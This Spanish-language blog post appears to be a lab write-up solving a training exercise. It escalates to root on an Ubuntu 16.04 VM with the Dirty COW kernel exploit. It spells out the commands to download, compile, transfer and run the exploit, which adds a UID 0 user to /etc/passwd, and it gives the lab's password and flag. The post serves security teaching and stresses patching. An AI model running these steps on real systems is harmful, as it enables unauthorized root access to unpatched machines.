Escalando Privilegios: Dirty-Cow

1. Introducción

Este post es la resolución al ejercicio: https://github.com/breatheco-de/kernel-exploit-dirtycow-project.git

La vulnerabilidad Dirty Cow (CVE-2016-5195) es una falla crítica en el kernel de Linux que permite a un atacante local escalar privilegios aprovechando una condición de carrera en el manejo de la memoria. Esta vulnerabilidad afectó a sistemas con kernels antiguos (anteriores a 4.8.3) y se ha convertido en un caso de estudio clásico en ciberseguridad. En este ejercicio, explotaremos esta vulnerabilidad en una máquina virtual con Ubuntu Server 16.04.1 para obtener acceso como root, demostrando cómo un usuario no privilegiado puede comprometer un sistema desactualizado.

2. Verificar la versión del kernel

Primero, confirmamos que el sistema es vulnerable revisando la versión del kernel.

1. Iniciamos sesión como student (contraseña: password123).

2. Ejecutamos:

uname -a

Si el kernel es 4.4.0-21-generic o similar, el sistema es vulnerable.

3. Descargar y compilar el exploit

Descargamos el exploit desde el repositorio proporcionado y lo compilamos.

3.1. Descargamos el código dirty.c:

wget https://raw.githubusercontent.com/breatheco-de/kernel-exploit-dirtycow-project/main/assets/dirty.c

Consejo: Si esa versión da problemas, puedes probar con esta otra versión:

wget https://raw.githubusercontent.com/FireFart/dirtycow/master/dirty.c

3.2. Compilamos el exploit con gcc:

gcc dirty.c -o dirty -pthread -lcrypt

– (-pthread): Habilita el soporte para hilos (necesario para la explotación).

 – (-lcrypt): Vincula la biblioteca de cifrado para contraseñas.

 

3.3 Paso Extra- Transferimos todo desde kali

Descubrimos que gcc no está instalado, así que necesitamos compilar el script en nuestra máquina Kali y enviarlo ya compilado, para eso, descargamos de nuevo el dirty.c en Kali, y a continuación ejecutamos el comando de nuevo.

IMPORTANTE: para que lo compile con todas las dependencias, añadir -static.

Ahora creamos un servidor Python en Kali con el siguiente comando:

python3 -m http.server 8080

Ahora hacemos un wget a la IP de Kali desde la máquina Ubuntu, y descargamos nuestro archivo:

wget http://10.0.2.9:8080/dirty

4. Ejecutar el exploit y escalar privilegios

El exploit crea un nuevo usuario con privilegios de root.

1. Ejecutamos el binario generado:

./dirty

Acciones del exploit:

– Crea una copia de seguridad de /etc/passwd en /tmp/passwd.bak.

– Añade al usuario firefart con UID 0 (root) en /etc/passwd.

2. Cambiamos al usuario firefart:

su firefart

– Contraseña: firefart.

3. Verificamos los privilegios:

id

5. Capturar la flag

Accedemos al directorio /root y leemos la flag.

cat /root/flag.txt

¡Hemos obtenido la flag:

4GEEKS{Y0u_G0t_R00t}

6. Conclusión Final

Este ejercicio demuestra cómo una vulnerabilidad en el kernel puede ser explotada para comprometer un sistema completo. Dirty Cow aprovecha una condición de carrera en el manejo de memoria, permitiendo a un usuario no privilegiado modificar archivos críticos como /etc/passwd. La lección clave es la importancia de mantener los sistemas actualizados y aplicar parches de seguridad oportunamente. En entornos reales, herramientas como apt-get upgrade o servicios como Canonical Livepatch son esenciales para mitigar riesgos. Este tipo de prácticas refuerza la necesidad de adoptar estrategias proactivas en ciberseguridad, tanto en la defensa como en la auditoría de sistemas.

Comparte esta Publicación en Redes Sociales